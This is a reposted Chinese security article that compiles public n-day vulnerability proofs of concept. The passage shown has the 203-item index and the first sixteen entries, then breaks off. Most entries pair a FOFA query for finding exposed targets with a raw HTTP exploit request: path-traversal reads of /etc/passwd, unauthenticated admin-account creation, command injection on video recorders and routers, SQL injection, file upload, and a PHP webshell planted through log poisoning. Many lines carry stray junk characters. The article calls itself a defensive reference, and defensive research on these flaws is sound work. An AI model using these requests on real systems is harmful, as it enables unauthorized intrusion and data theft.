互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
+ H- t- x$ x& m. l2 u+ m, a道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界
, O* t# A& W: k5 Z7 @' a& R
# T6 K8 K. I  F- A2 g9 W发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。

" V, P. R$ _/ V1 K& v# }漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
8 ~' F# {- M8 O
安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
9 S8 A: Y+ i. P/ W# P
文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
7 P; j; I+ u& ^5 X" Q
合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
# U& B; M. _+ ]& e0 b8 }$ Y3 P
/ u; [! I1 f8 h# E# B
声明
1 X7 ^* _/ F$ V' }+ p3 @) H
为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
2 _+ ?/ B3 W! T3 M" x
有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。



  X/ n7 s. m! K7 O1 b目录

4 V1 J( T4 ^4 ?01

1. StarRocks MPP数据库未授权访问
2. Casdoor系统static任意文件读取
0 f& [1 g; t) \/ K6 }3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
5. NUUO NVR 视频存储管理设备远程命令执行
( k% g2 B3 U. v3 Z/ _8 X5 Y6. 深信服 NGAF 任意文件读取
1 ^. N) F. N) d7 L7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
+ Q9 E% g, W6 ^2 y% k& i. |13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
0 t# t- P8 X% i5 H; [& `16. 红帆HFOffice医微云SQL注入
  [; z4 z) N# W- S7 X3 f  _17. 大华 DSS itcBulletin SQL 注入
' y' ]$ ]0 d4 y1 D; V4 k18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
* q) ^" U+ R- {+ q* {! M' a0 c7 B19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
$ [. q, d8 u& I! J: C8 S/ D* F20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
' ]8 n0 Z6 U8 v, P0 q24. 用友NC 6.5 accept.jsp任意文件上传
$ G$ N' i# E4 K" O25. 用友NC registerServlet JNDI 远程代码执行
. W" v" I3 d( c/ d7 @26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
- F2 T4 Y) K* N+ a" r29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
8 ^# n& P! Z* F1 X31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
' z) j# B* u, r7 @33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
2 O* F1 J# |7 |) t1 ~36. 用友NC-Cloud soapFormat XXE
0 P' `% x" A# @- g: d  P. v37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
7 k. Q7 j  A, C/ n* `4 R8 f: k41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
( n9 ]+ |5 S' |42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
) w% E, Y! g$ T; |" d7 U46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
, D( ~  D, n; Y! ?" i+ `0 B' |48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
; K7 a! y  F4 S51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
2 M+ R5 q) d( P; u- \' z4 U2 C5 L57. 畅捷通T+ keyEdit.aspx SQL注入
0 \+ G" [9 A$ M58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
% C- o% |5 U& M1 P# _61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
3 k6 W* G. J0 W6 x5 \$ e: [62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
  Z) q9 W6 a# S2 Q" f65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
6 y( D% g4 s$ ]3 X3 @0 g67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
1 [0 f& y6 u; Z/ i3 I: N+ R4 a71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
+ t! ]7 y5 I( \74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
3 E9 A. V5 a( Q% @# ^8 h9 L77. F22服装管理软件系统UploadHandler.ashx任意文件上传
" J0 P9 W" r, r: {! k3 N78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
/ @& J. H0 O8 N7 Q* M1 H# @79. BYTEVALUE 百为流控路由器远程命令执行
& {8 E+ Z1 Y: t( h4 L( T5 J80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
. ?: ^& X0 ^, U( m7 ^/ d9 h; c6 G2 ]81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
$ S% J- J7 u2 q3 U6 j83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
2 `2 J7 A; j$ V7 v! V; {85. SysAid On-premise< 23.3.36远程代码执行
6 x9 \; w5 ?3 M% K# C" I86. 日本tosei自助洗衣机RCE
87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
6 I' a$ }7 q. W' R' T3 f89. 致远互联FE协作办公平台editflow_manager存在sql注入
1 n9 V9 c' ]& x7 C% M5 x90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
9 |( O$ J- \. P1 M5 @94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
  k1 ^& D$ O! K98. SpiderFlow爬虫平台远程命令执行
99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
$ G& T& E( y) r* r* {102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
' }. u6 x9 S# [, V9 D/ u+ _3 P: q1 W( y103. Ivanti Pulse Connect Secure VPN XXE
8 S" o% W9 M" e3 H( ~9 y104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
6 m( n/ \/ r; ?: d2 `108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
- ]$ i. ~; v  g5 K' n" q110. Goanywhere MFT 未授权创建管理员
6 V; u" a8 G7 g9 \6 X% U) [" ~- }111. WordPress Plugin HTML5 Video Player SQL注入
112. WordPress Plugin NotificationX SQL 注入
/ K& o. A# r3 Z" P7 p113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
115. WordPress Bricks Builder <= 1.9.6 RCE
116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
, S& S% W, a% w! p( t! j8 {119. 北京百绰智能S20后台sysmanageajax.php sql注入
120. 北京百绰智能S40管理平台导入web.php任意文件上传
; N% v. B. }" w+ V6 W* V121. 北京百绰智能S42管理平台userattestation.php任意文件上传
122. 北京百绰智能s200管理平台/importexport.php sql注入
, z( h& o' L& ~) F7 ]123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
9 l% m, n, B5 N! Q# K126. Aiohttp 路径遍历
0 k- Q* K& c5 f& G127. 广联达Linkworks DataExchange.ashx XXE
" P0 l; K9 X9 M) }% w& t. F$ t128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
+ s5 A8 s8 K) M3 b133. H5 云商城 file.php 文件上传
; E( ~: w% F" o' V( O, Q134. 网康NS-ASG应用安全网关index.php sql注入
0 @! {! n' g- J. k# R' ^, G135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
7 q: A4 G' s$ d, P" I138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
- J: [2 C/ V/ `141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
' a6 v$ j# V# p% h146. MajorDoMo thumb.php 未授权远程代码执行
- p( I# [  o0 h" k147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
* K" Y" W  h+ S* J149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
& ]1 r5 M- n$ L151. AJ-Report 1.4.1 pageList sql注入
152. Progress Kemp LoadMaster 远程命令执行
% J6 o6 H1 ?; D153. gradio任意文件读取
. A  f/ L  m# G% x' G0 n154. 天维尔消防救援作战调度平台 SQL注入
1 j7 g) r4 I+ q155. 六零导航页 file.php 任意文件上传
+ \3 ~# a9 ~) g9 [2 j! `# k156. TBK DVR-4104/DVR-4216 操作系统命令注入
% o% Z6 V$ m$ R6 U157. 美特CRM upload.jsp 任意文件上传
! U$ W) ^- ?9 t; z4 l6 d158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
1 B: \3 p6 p6 V! f: t' K2 G! j160. Sonatype Nexus Repository 3目录遍历与文件读取
3 G1 \5 s$ w2 `: C161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
4 F: l* h) P4 i* h, Y; G162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
9 I5 I2 \+ K" C, z* {- C8 W/ z163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
# U/ _* w3 e: M" c8 t164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
, X8 T% e( L  B( Y( R, o7 O166. 中成科信票务管理平台SeatMapHandler SQL注入
167. 精益价值管理系统 DownLoad.aspx任意文件读取
9 m( ^* d" A$ e  \8 P/ W0 h3 r) w168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
8 H( F5 Z" Q6 f( A0 ^! L$ C/ g172. DT-高清车牌识别摄像机任意文件读取
173. Check Point 安全网关任意文件读取
8 \" a3 {, S; r+ P174. 金和OA C6 FileDownLoad.aspx 任意文件读取
7 G  K- `7 N6 |- s7 P175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
# \, s) I3 o9 J" C3 S177. H3C路由器敏感信息泄露
$ P, e; }9 i0 t# u- Z178. H3C校园网自助服务系统-flexfileupload-任意文件上传
, |) i) l, f0 ~4 m6 u179. 建文工程管理系统存在任意文件读取
180. 帮管客 CRM jiliyu SQL注入
: U$ p1 f' ?; p  A$ B6 r1 k181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
# P- m: b6 n- |1 c) e183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
3 f9 v/ l2 S6 ^/ f% f& Q  n184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
! g, U. P) @  n/ G187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
1 O6 d8 T, B& v2 C193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
3 D' c3 e3 B' }# {! R196. 河南省风速科技统一认证平台密码重置
0 P7 i* w9 R3 [7 v/ ?' ]0 m197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
, ~% ~9 i% a% _& O' E% J, {198.  阿里云盘 WebDAV 命令注入
* u  B* g! H5 J/ O# N0 E199. cockpit系统assetsmanager_upload接口 文件上传
9 r2 ?8 P: ]: t/ ~& m) W0 y200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
0 z3 ]& j  c6 x8 j/ x' P: u202. 微擎系统 AccountEdit任意文件上传
3 |2 K- j3 S/ V- s203. 红海云EHR PtFjk 文件上传
5 o2 R9 }8 w7 L0 P6 t0 }* W
POC列表
+ ?2 P5 j7 r( K
6 G: T7 J, N% e: f' R2 l; ]% O02

1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
8 @1 J: [/ ?: W0 X# o3 u$ FHost: URL


2. Casdoor系统static任意文件读取
, N( k9 w% ]8 i" cFOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
7 S# d- n, Z! d( B8 ZUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
/ x& K# z" [$ o$ e- S: H4 IConnection: close
Accept: */*
6 o0 [+ i! ~# ~9 PAccept-Language: en
Accept-Encoding: gzip
( Y) f/ h) Y3 a- L% d* ^7 Z

3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
" W" s' L3 R- V) k6 `/ y, g3 fGET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
+ c7 w( g- C( O! lHost: xx.xx.xx.xx


, M5 F1 b! n3 e& m+ N3 S0 |4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"

+ v; \( S. ^, ], m2 l. Ipassword更改为自己的密码md5
+ {8 @& b; v/ V3 A. h1 N" z( IPOST /api/v1/adduser HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
' h- d/ B  N( e- o( N3 t
name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1

1 Q+ X: T. @$ F; q9 _
5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
1 ]4 |' z! d* C% U1 F9 PGET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
* D: W: Y) ^6 ^1 q$ iHost: xx.xx.xx.xx

: S0 ^4 q: Y0 L
6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:
4 V/ V) A# Q8 c- D* N5 R( _% C

7. 鸿运主动安全监控云平台任意文件下载
: i. k( g, |& D( k, XFOFA：body="./open/webApi.html"
3 @9 B8 w( E- I1 lGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:
' A" V, M  M# Z! g: Y& P

8. 斐讯 Phicomm 路由器RCE
% Z' _$ O% d  P. ?# f3 Z0 |FOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
: c5 t1 m5 @7 L$ gHost: x.x.x.x
Cookie: sysauth=第一步登录获取的cookie
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
9 p$ a0 y$ j% O, U! d" YUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
0 U, ~" Q+ I+ ~; k8 m
# m+ g- J; `5 u9 e+ V& b! y------WebKitFormBoundaryxbgjoytz
  m3 `$ o- [5 s5 |1 xContent-Disposition: form-data; name="wifiRebootEnablestatus"

- c4 c3 A( k/ B) X1 u%s
, x4 ^9 Z) j) s+ c$ Y3 N* m6 A------WebKitFormBoundaryxbgjoytz
1 \9 i1 J! W  {) {' s: D( ]Content-Disposition: form-data; name="wifiRebootrange"
  j0 V3 y/ U3 c& c, Q
! o0 c# ~- T' K. M7 n4 S% v# }, Z12:00; id;
7 e+ [$ \0 p6 [6 l------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"
$ f3 u3 `- Q9 s8 f
%s:
* X$ i2 [8 D! d------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="cururl2"


( d. @- M3 N" r( p3 _6 {------WebKitFormBoundaryxbgjoytz--


9. 稻壳CMS keyword 未授权SQL注入
+ Z  }9 e# s- z& N8 E" r8 }; kFOFA：app="Doccms"
& G+ {: u6 P* x2 ]+ V* F* LGET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
: @# u6 Y% ]& JHost: x.x.x.x

) w. W! c+ d, x9 V! A+ u9 o
% w5 V/ P/ L- z! O4 fpayload为下列语句的二次Url编码

$ t3 c6 H( V6 X& ^! I' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

+ p. w: h+ I: _' b5 v10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
9 i- H4 P- x2 G8 W6 ]3 qFOFA：icon_hash="953405444"

7 Y' B5 k! |1 u9 s7 p文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
: x1 X! f& e" A' ~9 SHost: x.x.x.x:xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

------WebKitFormBoundaryxdgaqmqu
0 ^3 N* y$ b& @2 QContent-Disposition: form-data; name="file"filename="icfitnya.txt"
4 X, U8 g9 k% q: }" X/ {/ RContent-Type: text/html

" c7 M6 |2 V2 w4 h9 e% Ljmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--
- \* _7 X7 r  i; ~& U2 V, p

9 L1 ]/ p/ |- e% O- N! l/ o11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
' |6 d& q& j/ C* ]FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
+ e, M& A2 P+ z& cHost: 127.0.0.1
Pragma: no-cache
4 r1 L+ L9 X+ R3 C: wCache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
: {* V4 N5 z# r+ s! _Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

( Q/ m% Z  g" ]0 B, \
12. Jorani < 1.0.2 远程命令执行
+ U' L0 w" ^0 l) S1 T0 aFOFA：title="Jorani"
! e  i$ g! D6 W* l$ W8 \1 f& D! p第一步先拿到cookie
GET /session/login HTTP/1.1
' U- M2 F0 S2 b! CHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
6 _0 j- w/ W% H, mConnection: close
% e8 Y! n/ t& ZAccept-Encoding: gzip

  z1 y! a& v& a" |6 c$ d, |
响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
Connection: close
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
; a! Q7 ^: ~9 h! J4 f: zDate: Tue, 24 Oct 2023 09:34:28 GMT
0 G6 Z) }8 J- {Expires: Thu, 19 Nov 1981 08:52:00 GMT
3 m& L8 a6 d( b6 \/ i$ p" e# v5 H5 @; dLast-Modified: Tue, 24 Oct 2023 09:34:28 GMT
" {0 f9 I# `$ v. G1 X& LPragma: no-cache
2 a1 s! p% I0 e4 WServer: Apache/2.4.54 (Debian)
4 [( j7 m1 C5 r3 n  wSet-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding

# W) Y0 y+ A: e
POST请求，执行函数并进行base64编码
7 R' K1 A  T' g* {2 QPOST /session/login HTTP/1.1
& A8 Z9 O/ U$ ~# e& kHost: 192.168.190.30
: |# d: |0 T- u; [7 W; b9 b/ ~8 QUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
3 E- k' L) F2 c6 C5 H4 m; y3 gConnection: close
Content-Length: 252
  r; {3 O: G& Z; N  M9 XContent-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
$ P( K& E4 B" t# sAccept-Encoding: gzip

csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor

) x& C% l. ~- Q! N7 K: v+ L
% Z! F& ~4 @0 v7 E
向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
7 X$ Q" B$ G3 V0 `Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
! \/ {; h7 \, C- ?* v* V& TConnection: close
8 A+ v& f3 K+ w% ~: |  BCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
2 O7 H# {. X' N$ c7 M6 {9 t5 qK1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
$ u) i# L$ E; y1 b# s7 N3 [' DAccept-Encoding: gzip
6 k5 A" u1 I1 ^* M

) n1 h: G- n, w& g% a9 B9 H, s4 v13. 红帆iOffice ioFileDown任意文件读取
FOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
; C& t+ U* [5 K# V. \1 RHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
1 l$ F6 f; i$ z# v" C) ~& e% |Accept: */*
Accept-Encoding: gzip


14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
. }, b: f- o* Z) h2 G6 ^User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
2 d' Y, x5 v: q/ {9 P0 EAccept: */*
Accept-Language: en
Accept-Encoding: gzip
6 z+ q( b7 v9 ~$ F" p. V; \

  e: M$ A$ o3 a1 P' B15. 华夏ERP getAllList信息泄露
CVE-2024-0490
FOFA：body="jshERP-boot"
! y" j4 g/ p2 L. j泄露内容包括用户名密码
GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
Host: 192.168.40.130:100
  M' _! i6 m. P9 O3 N( w9 _User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
: K6 Z4 m& y6 a9 l* wAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
- K1 h" I4 S+ o' T' {Accept-Language: en
4 T5 L, E$ X# U2 B+ K7 ]4 v- {3 b; r# @sec-ch-ua-platform: Windows
Accept-Encoding: gzip
, z& V, f+ u  ^4 A5 K
, l0 q7 ^) n6 H# }0 \' q% U, W
16.  红帆HFOffice医微云SQL注入
FOFA：title="HFOffice"
8 K! f$ q/ i9 U% H& bpoc中调用函数计算1234的md5值
% K$ X7 X0 O. a$ d! eGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
; U7 L/ d0 o5 u# w6 {, PHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
8 o- z/ W- l% P  Y9 ?: RConnection: close
Accept: */*
Accept-Language: en
  Z+ h, b! j7 Q* X  v/ d9 s4 qAccept-Encoding: gzip
7 ]! S4 C3 ]9 k: ~# V: a

& `+ R) y6 K) r5 j. w17. 大华 DSS itcBulletin SQL 注入
